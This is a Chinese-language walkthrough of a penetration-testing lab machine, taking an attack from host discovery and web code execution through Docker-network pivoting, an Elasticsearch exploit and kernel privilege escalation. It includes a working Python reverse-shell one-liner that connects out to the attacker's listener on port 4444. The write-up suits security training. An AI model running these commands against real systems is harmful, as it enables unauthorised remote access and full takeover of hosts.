Kali
1.发现主机:
arp-scan -l
-f <s>从指定文件中读取主机名或地址
-l从网络接口配置生成地址
-i 各扫描之间的时间差
-r 每个主机扫描次数
-t <i>设置主机超时时间
-V显示程序版本并退出
-I<s>使用网络接口
-g不显示重复的数据
-D显示数据包往返时间
2.利用nmap对主机进行端口扫描
3.针对端口开启的服务进行侦测
确认操作系统为ubuntu 开启了http服务 有python环境(可以执行py脚本)
Werkzeug 基于python语言底层开发的web框架
4.打开开启的web’服务 查看网页
尝试Xss
尝试Sql注入
5.对路径进行发现
Dirsearch/破壳/御剑
发现 目录下有admin页面 发现代码执行漏洞
代码执行漏洞
python -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("169.254.83.77",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
6.本地开启监听4444端口
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
将python反弹shell脚本放在页面中执行
成功反弹会shell
利用反弹shell 查看 id root权限
Ls 存在dockerfile文件 有没有可能是一个docker容器
通过 cat Dockerfile
Ls ./docerenv
Cat /proc /1/cgroup 组中存在docker配置
综合确定 这是一个dock容器
通过ping命令查看一下是否还有其它的主机 一个一个ping太慢
于是写一个shell脚本
发现存在123 3台主机
为了方便使用kali上的工具 我们使用代理进行内网横向穿透
7.内网穿透
主要用到venom 分为客户端和服务端
Kali 运行客户端执行监听 等待服务端连接
在vomen目录下启动http服务,将服务端改名为a方便操作
目标机上下载 赋予可执行权限 然后连接kali主机
Kali主机建立节点 开启socks1080端口
被代理端与代理服务器通过“SOCK4/5代理协议”进行通迅(具体协议内容可查看RFC文档)。SOCK4代理协议可以说是对HTTP代理协议的加强,它不仅是对HTTP协议进行代理,而是对所有向外的连接进行代理,是没有协议限制的。也就是说,只要你向外连接,它就给你代理,并不管你用的是什么协议,极大的弥补了HTTP代理协议的不足,使得很多在HTTP代理情况下无法使用的网络软件都可以使用了。(例如:OICQ、MSN等软件 )SOCK5代理协议又对前一版进行了修改,增加了支持UDP代理及身份验证的功能。它不是“协议代理”,所以它会对所有的连接进行代理,而不管用的是什么协议。
Vemon 节点使用说明
Kali 利用proxychains4 配置代理
挂上代理扫描.0.1开启的端口和服务
发现同样开启了5000端口
我们浏览器挂上代理
访问0.1的5000端口 发现与之前的页面一样 并且页面中的内容也同步
扫描127.17.0.2 主机
发现开启了9200端口 进行版本侦测
搜索elasticsearch的漏洞
利用第一个 远程代码执行 打开发现是python2写的一个脚本
将脚本移动到挡片目录针对0.2主机运行
成功获取到shell 查看用户 id
查看当前目录 发现存在passwords
打开发现存在账户名和密码
密码解密
尝试远程登陆 查看用户为普通用户 需要提权
针对linux内核版本进行提权 搜索漏洞
将exp复制到当前目录 打开
由于exp是c写的 然而目标主机上没有gcc 需要我们先进行编译
打开exp文件 发现这个文件中还利用库文件进行编译 生成.so文件 所以即便这样上传到目标主机也因为没有gcc无法编译
于是我们将一部分直接删去 然后直接从kali中寻找 .so文件,很幸运本地存在这个文件
于是我们就可以把这个文件和编译好的文件直接都上传到对方主机
本地开启http服务
在靶机中下载
移动到tmp文件 因为源文件中的运行环境实在tmp下的 mv * /tmp/
赋予可执行权限 运行 成功到root用户
先进行主机的发现
端口扫描
服务扫描
存在一个5000端口的web应用 尝试访问
Web路径的发现 /admin
发现远程代码执行漏洞
获取一个目标系统的反弹shell
被困在容器系统
对内网主机进行发现 0.1 0.2
挂上代理,对内网穿透
对内网机器进行全端口扫描
0.2 开启9200端口 elasticsearch
利用 拿下主机
信息收集 到passwords文件 对密码进行破解
Ssh远程登陆 普通权限
利用linux内核提权
无法进行gcc编译 修改代码 重新编译
将编译好的文件和二进制库文件都上传到目标服务器
赋予权限 运行提权